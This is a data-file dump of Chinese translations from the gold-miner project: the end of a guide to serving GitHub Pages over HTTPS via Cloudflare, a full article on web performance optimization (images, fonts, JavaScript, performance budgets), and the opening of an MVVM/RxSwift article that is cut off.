的指南](https://www.godaddy.com/help/set-nameservers-for-domains-hosted-and-registered-with-godaddy-12316)，了解如何通过他们的服务更新域名解析服务器。\n\n完成这一步之后，你的域名将会很快被映射到 Cloudflare 的服务器上，这些服务器将成为域名与 Github Pages 之间的中间层。不过，这一步需要耗费一些时间，Cloudflare 可能需要 24 小时来处理这个请求。\n\n**如果你没有用主域名，而是用了子域名来使用 GitHub Pages**，则需要额外进行一步操作。打开你的 GitHub Pages 设置页面，在 DNS 设置中添加一条 CNAME 记录，设置它指向 `<your-username>.github.io`，其中 `<your-username>` 是你的 Github 账号。此外，你需要在 GitHub 项目的根目录下添加一个文件名为 CNAME 的无后缀名文本文档，其内容为你的域名。\n\n下面的屏幕截图为在 Cloudflare 设置中将 GitHub Pages 子域名添加为 CNAME 记录的例子：\n\n![将 GitHub Pages 子域名加入 Cloudflare](https://res.cloudinary.com/css-tricks/image/upload/c_scale,w_985,f_auto,q_auto/v1504368357/https-cloudflare-github-pages-subdomain_mtnvep.png)\n\n### 第五步：在 Cloudflare 中启用 HTTPS\n\n现在，我们从技术上说已经为 GitHub Pages 启用了 HTTPS，但是我们还需要在 Cloudflare 中做同样的事。Cloudflare 把这个功能称为“Crypto”，不仅强制开启了 HTTPS，还提供了我们梦寐以求的 SSL 证书。现在先让我们为 HTTPS 启用 Crypto，之后的步骤中我们会获取到证书的。\n\n![Cloudflare 主菜单中的 Crypto 选项](https://res.cloudinary.com/css-tricks/image/upload/c_scale,w_581,f_auto,q_auto/v1504368403/https-cloudflare-crypto_y44ged.png)\n\n开启“Always use HTTPS”选项：\n\n![在 Cloudflare 设置中开启 HTTPS](https://res.cloudinary.com/css-tricks/image/upload/c_scale,w_954,f_auto,q_auto/v1504368456/https-cloudflare-enable_e5povd.png)\n\n此时，任何来自浏览器的 HTTP 请求都会被切换成更安全的 HTTPS。我们离“取悦” Google Chrome 又进了一步。\n\n### 第六步：使用 CDN\n\n我们现在正在用 CDN 来获取 SSL 证书，所以我们还可以利用它的性能优势来得到更多的好处。我们可以通过自动压缩文件、延长浏览器缓存过期时间来提升网站性能。\n\n选择“Speed”选项，允许 Cloudflare 自动压缩网站资源：\n\n![允许 Cloudflare 自动压缩网站资源](https://res.cloudinary.com/css-tricks/image/upload/c_scale,w_983,f_auto,q_auto/v1504368507/https-cloudflare-minify_dzk1a4.png)\n\n我们还可以通过设置浏览器缓存过期时间来最大化地提升性能：\n\n![在 Cloudflare 的 Speed 设置中指定浏览器缓存](https://res.cloudinary.com/css-tricks/image/upload/c_scale,w_972,f_auto,q_auto/v1504368548/https-cloudflare-cache_diayym.png)\n\n将过期时间设置为比默认选项更长，可以让浏览器在访问网站时不再需要每次都去请求那些没有变更过的网站资源。这将让访客在一个月内再次访问你的网站时节省额外的下载量。\n\n### 第七步：使用安全的外部资源\n\n如果你的网站还使用了一些外部资源（我们很多人都这么做），那么还需要确保这些外部资源是安全的。例如，如果你使用了一个 Javascript 框架，但没有使用 HTTPS 源，那么 Google Chrome 将会认为其降低了我们网站的安全性，因此我们需要对其进行改进。\n\n如果你使用的外部资源不提供 HTTPS 源，那么你可以考虑自己对其进行托管。反正我们现在已经有了 CDN，做托管服务的负载并不成问题。\n\n### 第八步：激活 SSL\n\n已经做到这一步啦！我们已经在 GitHub Pages 设置中开启了 HTTPS，现在还缺少自定义域名与 GitHub Pages 的连接证书。Cloudflare 提供了免费的 SSL 证书，我们可以在网站中使用它。\n\n打开 Cloudflare 的 Crypto 设置页面，确认 SSL 证书处于激活状态：\n\n![Cloudflare 的 Crypto 设置中显示 SSL 证书为激活状态](https://res.cloudinary.com/css-tricks/image/upload/c_scale,w_954,f_auto,q_auto/v1504368600/https-cloudlfare-ssl_nbbkyy.png)\n\n如果证书处于激活状态，在主菜单中切换到“Page Rules”页面，选择“Create Page Rule”选项：\n\n![在 Cloudflare 设置中创建页面规则](https://res.cloudinary.com/css-tricks/image/upload/c_scale,w_962,f_auto,q_auto/v1504368647/https-cloudflare-page-rule_hzmbvv.png)\n\n然后点击“Add a Setting”，选择“Always use HTTPS”选项：\n\n![对整个域名都强制使用 HTTPS！注意图中文本中的星号很重要](https://res.cloudinary.com/css-tricks/image/upload/c_scale,w_797,f_auto,q_auto/v1504368689/https-cloudflare-force-https_vgouyf.png)\n\n点击“Save and Deply”，恭喜你！现在，我们拥有了一个在 Google Chrome 眼中完全安全的网站，并且在迁移的过程中我们并不需要接触、修改很多代码。\n\n## 总结\n\nGoogle 这样推进 HTTPS 意味着前端开发者们在开发自己的网站、公司网站、客户网站的时候需要优先考虑 SSL 支持。这一举措将会促使我们将站点向 HTTPS 迁移。而使用 CDN 可以让我们使用免费的 SSL 并提升网站性能，如此超值的事何乐而不为呢？\n\n你记录过迁移到 HTTPS 的经历吗？在评论里留言你的迁移方法，让我们相互对比吧。\n\n享受你的既安全又快速的网站吧！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/talk-the-state-of-the-web.md",
    "content": "\n> * 原文地址：[The State of the Web](https://medium.com/@fox/talk-the-state-of-the-web-3e12f8e413b3)\n> * 原文作者：[Karolina Szczur](https://medium.com/@fox?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/talk-the-state-of-the-web.md](https://github.com/xitu/gold-miner/blob/master/TODO/talk-the-state-of-the-web.md)\n> * 译者：[undead25](https://github.com/undead25)\n> * 校对者：[sun](https://github.com/sunui)、[IridescentMia](https://github.com/IridescentMia)\n\n# 网络现状：性能提升指南\n\n互联网正在爆发式地增长，我们创建的 Web 平台也是如此。**我们通常都没有考虑到用户网络的连通性和使用情景**。即使是万维网现状的一瞥，也可以看出我们还没有建立起同理心和对形势变化的认知，更不用说对性能的考虑了。\n\n那么，现今的网络状况是怎样的呢？\n\n**地球上 74 亿人口中，只有 46% 的人能够上网**，平均网络速度为 7Mb/s。更重要的是，93% 的互联网用户都是通过移动设备上网的 —— 不去迎合手持设备是不可原谅的。数据往往比我们想象中要昂贵得多 —— 购买 500MB 数据的价格在德国要为此工作 1 个小时，而在巴西需要 13 个小时（更多有趣的统计可以看看 [Ben Schwarz](https://twitter.com/benschwarz) 的[《泡沫破灭：真实的性能》](https://building.calibreapp.com/beyond-the-bubble-real-world-performance-9c991dcd5342)）。\n\n**我们的网站表现得也不尽如人意** —— 平均体积大概[是第一版 Doom 游戏的大小](https://www.wired.com/2016/04/average-webpage-now-size-original-doom/)（3MB 左右）（请注意，为了统计准确度，需要使用[中位数](https://zh.wikipedia.org/wiki/%E4%B8%AD%E4%BD%8D%E6%95%B8)，推荐阅读 [Ilya Grigorik](https://twitter.com/igrigorik) 的 [《“平均页面”是一个神话》](https://www.igvita.com/2016/01/12/the-average-page-is-a-myth/)。中位数统计出的网站体积目前为 1.4MB）。图片可以轻松占用 1.7MB，而 JavaScript 平均为 400KB。不仅仅只有 Web 平台，本地应用程序也有同样的问题，你是否遇到过为了修复某些 bug，不得不下载 200MB 的应用呢？\n\n**技术人员经常会发现自己处于特权地位**。拥有新型高端的笔记本、手机和快速的网络连接。我们很容易忘记，其实并不是每个人都有这样的条件（实际上只有少部分人而已）。\n\n> 如果我们只站在自己而不是用户的角度来构建 web 平台，那这将导致糟糕的用户体验。\n\n我们如何通过在设计和开发中考虑性能来做得更好呢？\n\n## 资源优化\n\n最能明显提升性能但未被充分利用的方式是，从了解浏览器如何分析和处理资源开始。事实证明，当浏览器解析和立即确定资源的优先级时，在资源发现方面表现得非常不错。下面是关于**关键请求**的解释。\n\n> 如果请求包含用户视口渲染所需的资源，那该请求就是关键请求。\n\n对于大多数网站，关键请求可以是 HTML、必要的 CSS、LOGO、网络字体，也可能是图片。事实证明，在大多数情况下，当资源被请求时，许多其他不相关的（JavaScript、追踪代码、广告等）也被请求了。不过我们能够通过仔细挑选重要资源，并调整它们的优先级来避免这种情况发生。\n\n通过 `<link rel ='preload'>`，我们可以手动强制设置资源的优先级，来确保所期望的内容按时渲染。这种技术可以明显改善“交互时间”指标，从而使最佳用户体验成为可能。\n\n![](https://cdn-images-1.medium.com/max/800/1*JT-53LslhwOOqTgv1dGoXg.png)\n\n由于相关资料的缺乏，关键请求对许多人来说似乎仍然是一个黑盒子。幸运的是，[Ben Schwarz](https://twitter.com/benschwarz/) 发表了一篇非常全面且通俗易懂的文章 —— [《关键请求》](https://css-tricks.com/the-critical-request/)。另外，你也可以查看 Addy 关于预加载的文章 —— [《Chrome 中的预加载和优先级》](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf)。\n\n![在 Chrome 开发者工具中启用优先级](https://cdn-images-1.medium.com/max/800/1*ju18GQzgF-TQDMrYdtPelg.gif)\n\n🛠 要追踪优先处理请求的效果，你可以使用 Lighthouse 性能检测工具和[关键请求链路评测](https://developers.google.com/web/tools/lighthouse/audits/critical-request-chains)，或者查看 Chrome 开发者工具网络标签下的请求优先级。\n\n**📝 通用性能清单**\n\n1. 主动缓存\n2. 启用压缩\n3. 优先关键资源\n4. 使用 CDN\n\n## 图片优化\n\n页面传输的大部分数据通常都是图片，因此优化图片可以带来很大的性能提升。有许多现有的策略和工具可以帮助我们删除多余的字节，但首先要问的是：“图片对于传达后续的信息和效果至关重要吗？”。如果可以移除，不仅可以节省带宽，还可以减少请求。\n\n在某些情况下，我们可以通过不同的技术来实现同样的效果。CSS 有很多具有艺术性的属性，例如阴影、渐变、动画和形状，这就允许我们用具有合适样式的 DOM 元素来替代图片。\n\n### 选择正确的格式\n\n如果必须使用图片，那确定哪种格式比较合适是很重要的。一般都在矢量图和栅格图之间进行选择：\n\n- **矢量图形**：与分辨率无关，文件通常比较小。特别适用于 LOGO、图标和由简单图形（点、线、圆和多边形）组成的图片。\n- **栅格图像**：表现内容更丰富。适用于照片。\n\n做出上面的决定后，有这样的几种格式供我们选择：JPEG、GIF、PNG-8、PNG-24 或者最新的格式，例如 WEBP 或 JPEG-XR。既然有这么多的选择，那如何确保我们选择的正确性呢？以下是找到最佳格式的基本方法：\n\n- **JPEG**：色彩丰富的图片（例如照片）\n- **PNG–8**：色彩不是很丰富的图片\n- **PNG–24**：具有部分透明度的图片\n- **GIF**：动画图片\n\nPhotoshop 在图片导出时，可以通过一些设置来对上述格式的图片进行优化，例如降低质量、减少噪点或者颜色的数量。确保设计师有性能实践的意识，并通过正确的优化预设来准备合适的图片。如果你想了解更多关于如何开发图片的信息，可以阅读 [Lara Hogan](https://twitter.com/lara_hogan) 的 [《速度与激情：以网站性能提升用户体验》](http://designingforperformance.com/optimizing-images/#choosing-an-image-format)。\n\n### 尝试新格式\n\n有这样几种由浏览器厂商开发的新图片格式：Google 的 WebP，Apple 的 JPEG 2000 和 Microsoft 的 JPEG-XR。\n\n**WebP** 是最具有竞争力的，支持无损和有损压缩使得它被广泛应用。**无损 WebP 比 PNG 小 26%，比 JPG 小 25-34%**。74% 的浏览器支持率及降级方案使它可以安全地被使用，最多可节省 1/3 的传输字节。JPG 和 PNG 可以通过 Photoshop 和其他图像处理程序，也可以使用命令行（`brew install webp`）将其转换为 WebP。\n\n如果你想探索这些格式之间的视觉差异，我推荐[这个在 Github 上不错的示例](https://xooyoozoo.github.io/yolo-octo-bugfixes)。\n\n### 使用工具和算法进行优化\n\n**即便使用了高效的图片格式也需要后续的处理和优化**。这一步很重要。\n\n如果你选择了体积相对较小的 SVG，它们也需要被压缩。[SVGO](https://github.com/svg/svgo) 是一个命令行工具，可以通过剥离不必要的元数据来快速优化 SVG。另外，如果你喜欢 Web 界面或者由于操作系统的限制，也可以使用 [Jake Archibald](https://twitter.com/jaffathecake) 的 [SVGOMG](https://jakearchibald.github.io/svgomg/)。由于 SVG 是基于 XML 的格式，所以它也可以被服务端 GZIP 压缩。\n\n[ImageOptim](https://imageoptim.com/mac) 是大多数其他图片格式的绝佳选择，它将 pngcrush、pngquant、MozJPEG、Google Zopfli 等一些不错的工具打包进了一个综合的开源包里面。作为一个 Mac OS 应用程序、命令行界面和 Sketch 插件，ImageOptim 可以轻松地用于现有的工作流中。大多数 ImageOptim 依赖 CLI 都可以在 Linux 或者 Windows 平台上使用。\n\n如果你倾向于尝试新兴的编码器，今年早些时候，Google 发布了 [Guetzli](https://research.googleblog.com/2017/03/announcing-guetzli-new-open-source-jpeg.html) —— 一个源于他们对 WebP 和 Zopfli 研究的开源算法。**Guetzli 可以生成比任何其他可用的压缩方法少 35% 体积的 JPEG**。唯一的缺点是：处理时间慢（每百万像素的 CPU 时间为一分钟）。\n\n选择工具时，请确保它们能达到预期并适合团队的工作流。最好能自动化优化，这样所有图片都是优化过了的。\n\n### 响应式图片\n\n十年前，也许一种分辨率就能满足所有的场景，但随着时代的变化，响应式网站现今已截然不同。这就是为什么我们必须特别小心地实施我们精心优化的视觉资源，并确保它们适应各种视口和设备。幸运的是，感谢[响应式图像社区组织](https://responsiveimages.org/)，通过 `picture` 元素和 `srcset` 属性（都有 85%+ 的浏览器支持率），我们可以完美地做到。\n\n### srcset 属性\n\n`srcset` 在分辨率切换场景中表现得非常不错 —— 当我们想根据用户的屏幕密度和大小显示图片时。根据 `srcset` 和 `sizes` 属性中一些预定义的规则，浏览器将会根据视口选择最佳的图片进行展示。这种技术可以节省带宽和减少请求，特别是对于移动端用户。\n\n![srcset 属性使用示例](https://cdn-images-1.medium.com/max/800/1*87BIfYsjZTh-bikjmp7eow.png)\n\n### picture 元素\n\n`picture` 元素和 `media` 属性旨在更容易地通往艺术殿堂。通过为不同的条件提供不同的来源（通过 `media-queries` 测试），无论分辨率如何，我们始终能聚焦在最重要的图像元素上。\n\n![picture 元素使用示例](https://cdn-images-1.medium.com/max/800/1*NeyfH6Vu1xCWE2SY5w1cDQ.png)\n\n📚 阅读 [Jason Grigsby](https://twitter.com/grigs) 的[《响应式图片 101》](https://cloudfour.com/thinks/responsive-images-101-definitions/) 可以全面地了解这两种方式。\n\n### 使用图片 CDN\n\n图片性能的最后一步就是分发了。所有资源都可以从使用 CDN 中受益，但有一些特定的工具是专门针对图片的，例如 [Cloudinary](http://cloudinary.com/) 或者 [imgx](https://www.imgix.com/)。使用这些服务的好处远不止于减少服务器流量，它还可以显著减少响应延迟。\n\n**CDN 可以降低重图片站点提供自适应和高性能图片的复杂度**。他们提供的服务各不相同（价格也不同），但是大多数都可以根据设备和浏览器进行尺寸调整、裁剪和确定最合适的格式，甚至更多 —— 压缩、检测像素密度、水印、人脸识别和允许后期处理。借助这些强大的功能和能够将参数附到 URL 中，使得提供以用户为中心的图片变得轻而易举了。\n\n📝 图片性能清单\n\n1. 选择正确的格式\n2. 尽可能使用矢量图\n3. 如果变化不明显，则降低质量\n4. 尝试新格式\n5. 使用工具和算法进行优化\n6. 学习 `srcset` 属性和 `picture` 元素\n7. 使用图片 CDN\n\n## 优化网络字体\n\n使用自定义字体的能力是一个非常强大的设计工具。但权利越大，责任就越大。**68% 的网站正在使用网络字体，而这种资源是最大的性能瓶颈之一**（很容易平均达到 100KB，这取决于字体的各种形态和数量）。\n\n即使体积不是最重要的问题，但**不可见文本闪现**（FOIT）是。当网络字体在加载中或者加载失败时，就会发生 FOIT，这会导致空白页面，从而造成内容无法访问。这可能值得我们[仔细检查是否需要网络字体](https://hackernoon.com/web-fonts-when-you-need-them-when-you-dont-a3b4b39fe0ae)。如果是这样，有一些策略可以帮助我们减轻对性能的负面影响。\n\n### 选择正确的格式\n\n有四种网络字体格式：EOT、TTF、WOFF 和近期的 WOFF2。TTF 和 WOFF 被广泛使用，拥有超过 90% 的浏览器支持率。根据你所针对的支持情况，**使用 WOFF2 可能最安全**，并为老版本浏览器降级使用 WOFF。使用 WOFF2 的优点是一整套自定义的预处理和压缩算法（如 [Brotli](https://github.com/google/brotli)）可以 [缩小 30% 的文件大小](https://docs.google.com/presentation/d/10QJ_GABjwzfwUb5DZ3DULdv82k74QdPArkovYJZ-glc/present?slide=id.g1825bd881_0182)和改进过的解析性能。\n\n在 `@font-face` 中定义网络字体的来源时，使用 `format()` 提示来指定应该使用哪种格式。\n\n如果你正在使用 Google 字体或者 Typekit 字体，他们都实施了一些策略来减轻对性能的影响。Typekit 所有套件现在都支持异步来预防 FOIT，并且允许其 JavaScript 套件代码的缓存期限延长 10 天（而不是默认的 10 分钟）。Google 字体可以根据用户设备自动提供最小的文件。\n\n### 字体选择评测\n\n无论是否自托管，字体的数量、体积和样式都将明显影响性能。\n理想情况下，我们只需要一种包括常规和粗体的字体。如果你不确定如何选择字体，可以参考 Lara Hogan 的[《美学与性能》](http://designingforperformance.com/weighing-aesthetics-and-performance/)。\n\n### 使用 Unicode-range 子集\n\nUnicode-range 子集允许将大字体分割成较小的集合。这是一个相对先进的策略，但它可能会明显地减少字体体积，特别是在针对亚洲语言的时候（你知道中文字体的平均字形数是 20,000 吗？）。第一步是将字体限制为必要的语言集，例如拉丁语、希腊语或西里尔语。如果网络字体只是做 LOGO 类的使用，那完全可以使用 Unicode-range 描述符来选择特定的字符。\n\nFilament Group 发布的开源命令行工具 [glyph hanger](https://github.com/filamentgroup/glyphhanger) 可以根据文件或 URL 生成需要的字形列表。或者，基于 web 的 [Font Squirrel Web Font Generator](https://www.fontsquirrel.com/tools/webfont-generator)，它提供高级子集和优化选项。如果使用 Google 字体或者 Typekit，他们在字体选择界面都提供了语言子集的选择，这使得确定基本子集更容易。\n\n### 建立字体加载策略\n\n**字体是阻塞渲染的** —— 因为浏览器需要首先创建 DOM 和 CSSOM；网络字体用于与现有节点相匹配的 CSS 选择器之前，它都不会被下载。这种行为显然延迟了文本的渲染，通常都会导致前面提到的**不可见文本闪现**（FOIT）。在较慢的网络和移动设备上，FOIT 则更加明显。\n\n实施字体加载策略可以避免用户无法访问内容。通常，**无样式文本闪现**（FOUT）是最简单和最有效的解决方案。\n\n`font-display` 是一个新的 CSS 属性，提供了一个不依赖 JavaScript 的解决方案。不幸的是，它只被部分支持（Chrome 和 Opera），Firefox 和 WebKit 目前在开发中。尽管如此，它可以并且应该与其他字体加载机制结合使用。\n\n![font-display 属性示例](https://cdn-images-1.medium.com/max/800/1*Kuky8fVepcjU3tMbTjewdw.png)\n\n幸运的是，Typekit 的[网络字体加载器](https://github.com/typekit/webfontloader) 和 [Bram Stein](https://twitter.com/bram_stein) 的 [字体观察者](https://fontfaceobserver.com/) 可以帮助我们管理字体的加载行为。此外，[Zach Leatherman](https://twitter.com/zachleat) 是网络字体性能的专家，他发布的[《字体加载策略综合指南》](https://www.zachleat.com/web/comprehensive-webfonts)将帮助你为你的项目选择正确的方法。\n\n📝 网络字体性能清单\n\n1. 选择正确的格式\n2. 字体选择评测\n3. 使用 Unicode-range 子集\n4. 建立字体加载策略\n\n## 优化 JavaScript\n\n目前，[JavaScript 包的平均大小为 446KB](http://httparchive.org/trends.php#bytesJS&reqJS)，这使得使其成为第二大体积类型的资源（仅次于图片）。\n\n> 我们可能没有意识到，我们所钟爱的 JavaScript 隐藏着更加危险的性能瓶颈。\n\n### 监控 JavaScript 传输\n\n优化传输只是抗衡页面臃肿的一种方法。JavaScript 下载后，必须由浏览器进行解析、编译和运行。浏览一些热门的网站，我们会发现，gzip 压缩后的 JS **在解压之后至少变大三倍**。实际上，我们正在发送一大堆代码。\n\n![](https://cdn-images-1.medium.com/max/800/1*Yrn4kTkaYHX0PWj4HB-mQg.jpeg)\n\n1MB JavaScript 在不同的设备上的解析时间。图片来源于 Addy Osmani 的[《JavaScript 启动性能》](https://medium.com/reloading/javascript-start-up-performance-69200f43b201)。\n\n分析解析和编译时间，对于理解应用程序何时准备好进行交互至关重要，这些时间因用户设备的硬件能力而异。**解析和编译的时间会很容易地在低端手机上高出 2-5 倍**。[Addy](https://twitter.com/addyosmani) 的研究表明，一个应用程序在普通手机上需要 16 秒才能达到可交互状态，而在桌面上是 8 秒\n分析这些指标至关重要，幸运的是，我们可以通过 Chrome 开发者工具来完成。\n\n![在 Chrome 开发者工具中审查解析和编译过程](https://cdn-images-1.medium.com/max/800/1*eV83YP2fnoOllUleaWa5lw.gif)\n\n请务必阅读 Addy Osmani 在[《JavaScript 启动性能》](https://medium.com/reloading/javascript-start-up-performance-69200f43b201)文中的详细总结。\n\n### 移除不必要的依赖\n\n现今的包管理方式可以很容易地隐藏依赖包的数量和大小。[webpack-bundle-analyzer](https://www.npmjs.com/package/webpack-bundle-analyzer) 和 [bundle-buddy](https://www.npmjs.com/package/bundle-buddy) 是很好的可视化工具，可以帮助我们识别出重复代码、最大的性能瓶颈以及过时和不必要的依赖包。\n\n![Webpack bundle analyzer 的示例](https://cdn-images-1.medium.com/max/800/1*dusVhPiL44VDoS4gJHMWSg.gif)\n\n通过 [VS Code](https://marketplace.visualstudio.com/items?itemName=wix.vscode-import-cost) 和 [Atom](https://atom.io/packages/atom-import-cost) 中的 `Import Cost` 扩展，我们可以明显知晓导入包的大小。\n\n![VS Code 中的 Import Cost 拓展](https://cdn-images-1.medium.com/max/800/1*LbfI4D9XXiZYS1Slwsys5g.gif)\n\n### 实施代码分割\n\n只要有可能，**我们就应该只提供用户体验所必需的资源**。向用户发送一个完整的 `bundle.js` 文件，包括他们可能永远看不到的交互效果的处理代码，这不太理想（试想一下，在访问着陆页时，下载了处理整个应用程序的 JavaScript）。同样，我们不应到处提供针对特定浏览器或用户代理的代码。\n\nWebpack 是最受欢迎的打包工具之一，默认支持[代码分割](https://webpack.js.org/guides/code-splitting/)。最简单的代码分割可以按页面实施（例如着陆页面的 `home.js`，联系页面的 `contact.js` 等）。但 Webpack 提供了比较少的高级策略，例如动态导入或者[懒加载](https://webpack.js.org/guides/lazy-loading/)，这可能值得研究。\n\n### 考虑框架选择\n\nJavaScript 的前端框架日新月异。根据 [2016 年的 JavaScript 现状调查](https://stateofjs.com/2016/frontend/)，React 是最受欢迎的。仔细评估架构选型可能会发现，你可以采用更为轻量级的替代方案，例如 Preact（需要注意的是，Preact 并不是一个完整的 React 重新实现，它只是一个具有[高性能](https://github.com/developit/preact-perf)，功能更轻的虚拟 DOM 库）。同样，我们可以将较大的库替换为更小的替代方案 —— `moment.js` 换成 `date-fns`（或者在特定情况下，[删除 `moment.js` 中未使用的 `locales`](https://github.com/distilagency/starward/issues/81)）。\n\n**在开始一个新项目之前，有必要确定什么样的功能是必需的，并为你的需求和目标选择性能最好的框架**。有时这可能意味着选择写更多的原生 JavaScript。\n\n📝 JavaScript 性能清单\n\n1. 监控 JavaScript 传输\n2. 移除不必要的依赖\n3. 实施代码分割\n4. 考虑框架选择\n\n## 性能追踪，前进之路\n\n在大多数情况下，我们讨论过的一些策略会对我们正在打造的产品的用户体验产生积极的变化。性能可能是一个棘手的问题，有必要长期跟踪我们调整的效果。\n\n### 以用户为中心的性能指标\n\n卓越的性能指标，旨在尽可能接近描绘的用户体验。以往的 `onLoad`、`onContentLoaded` 或者 `SpeedIndex` 对于用户多久能与页面进行交互给出的信息非常少。当仅关注资源传输时，我们很难量化[感知得到的性能](https://calibreapp.com/docs/metrics/user-focused-metrics)。幸运的是，有一些时间可以很好地描述内容的可视性和互动性。\n\n这些指标是白屏时间、首次有效渲染、视觉完整和可交互时间。\n\n![](https://cdn-images-1.medium.com/max/800/1*fjqW4fRUD7iIrzcKfUkfIg.png)\n\n- **First Paint 白屏时间**：浏览器从白屏到第一次视觉变化。\n- **First Meaningful Paint 首次有效渲染**：文字、图像和主要内容都已可见。\n- **Visually Complete 视觉完整**：视口中的所有内容都可见。\n- **Time to Interactive 可交互时间**：视口中的所有内容都可见，并且可以进行交互（JavaScript 主线程停止活动）。\n\n这些时间和用户体验息息相关，因此可以作为重点进行追踪。如果可能，将它们全部记录，否则选择一两个来更好地监控性能。其他指标也需要关注，特别是我们发送的字节数（优化和解压缩）。\n\n### 设置性能预算\n\n所有数据可能会很快变得令人困惑和难以理解。没有可执行的目标，很容易迷失我们最初的目的。几年前，[Tim Kadlec](https://twitter.com/tkadlec) 写过关于[《性能预算》](https://timkadlec.com/2013/01/setting-a-performance-budget/)的概念。\n\n遗憾的是，没有什么神奇的公式可以设置它们。性能预算通常归结为竞争分析和产品目标，而这是每个业务所独有的。\n\n设定预算时，重要的是要有明显的差异，通常情况下，至少要有 20% 的改善。实验和迭代你的预算，可以参考 Lara Hogan 的[使用性能预算来接近新设计](http://designingforperformance.com/weighing-aesthetics-and-performance/#approach-new-designs-with-a-performance-budget)。\n\n使用[性能预算计算器](http://www.performancebudget.io/)或者 [Browser Calories](https://browserdiet.com/calories/) Chrome 拓展程序来帮助你创建预算。\n\n### 持续监控\n\n性能监控应该是自动化的，市面上有很多提供全面报告的强大工具。\n\n[Google Lighthouse](https://developers.google.com/web/tools/lighthouse/) 是一个开源项目，它可以审查性能、可访问性、PWA 等。你可以在命令行中或者直接在 Chrome 开发者工具中使用它。\n\n![Lighthouse 性能审查示例](https://cdn-images-1.medium.com/max/800/1*T3HA3VrN48JsCAHWFfnu3g.gif)\n\n对于持续的追踪，可以选择 [Calibre](https://calibreapp.com/)，它提供的性能预算、设备仿真、分布式监控和许多其他功能是我们不在构建自己的性能套件上花费大量精力是完成不了的。\n\n![使用 Calibre 进行全面的性能追踪](https://cdn-images-1.medium.com/max/800/1*LTFZ7zMASCWUz3r0eqXdoQ.gif)\n\n无论你在哪里追踪，请确保数据对于整个团队或者小型组织里的整个业务线都是透明和可访问的。\n\n> 性能是共同的责任，不仅仅是开发团队 —— 我们都应对所创建的用户体验负责，不管是什么角色或职级。\n\n在产品决策或者设计阶段，提倡速度和建立协作流程以发现可能的瓶颈是非常重要的。\n\n### 建立性能意识和同理心\n**关心性能不仅仅是一个业务目标**（但如果你需要通过销售统计数据来进行销售，那可以使用 [PWA 统计](https://www.pwastats.com/)）。这关乎于基本的同理心，并把用户的最大利益放在第一位。\n\n> 作为技术人员，我们的责任是，不要让用户的注意力和时间放在等待页面上。我们的目标是，[建立有时间观念和以人为本的工具](http://www.timewellspent.io/)。\n\n提倡性能意识应该是每个人的目标。让我们抱着性能和同理心，为所有人建立一个更好、更有意义的未来吧。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/taming-great-complexity-mvvm-coordinators-and-rxswift.md",
    "content": "\n> * 原文地址：[Taming Great Complexity: MVVM, Coordinators and RxSwift](https://blog.uptech.team/taming-great-complexity-mvvm-coordinators-and-rxswift-8daf8a76e7fd)\n> * 原文作者：[Arthur Myronenko](https://blog.uptech.team/@arthur.myronenko)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/taming-great-complexity-mvvm-coordinators-and-rxswift.md](https://github.com/xitu/gold-miner/blob/master/TODO/taming-great-complexity-mvvm-coordinators-and-rxswift.md)\n> * 译者：[jingzhilehuakai](https://github.com/jingzhilehuakai)\n> * 校对者：[cbangchen](https://github.com/cbangchen) [swants](https://github.com/swants)\n            \n\n# MVVM, Coordinators 和 RxSwift 的抽丝剥茧\n\n![](https://ws4.sinaimg.cn/large/006tNc79gy1fiygh2f3haj31jk15m7wh.jpg)\n\n去年，我们的团队开始在生产应用中使用 Coordinators 和 MVVM。 起初看起来很可怕，但是从那时起到现在，我们已经完成了 4 个基于这种模式开发的应用程序。在本文中，我将分享我们的经验，并将指导你探索 MVVM, Coordinators 和响应式编程。\n\n我们将从一个简单的 MVC 示例应用程序开始，而不是一开始就给出一个定义。我们将逐步进行重构，以显示每个组件如何影响代码库以及结果如何。每一步都将以简短的理论介绍作为前提。\n\n### 示例\n\n在这篇文章中，我们将使用一个简单的示例程序，这个程序展示了 GitHub 上不同开发语言获得星数最多的库列表,并把这些库以星数多少进行排序。包含两个页面，一个是通过开发语言种类进行筛选的库列表，另一个则是用来分类的开发语言列表。\n\n![Screens of the example 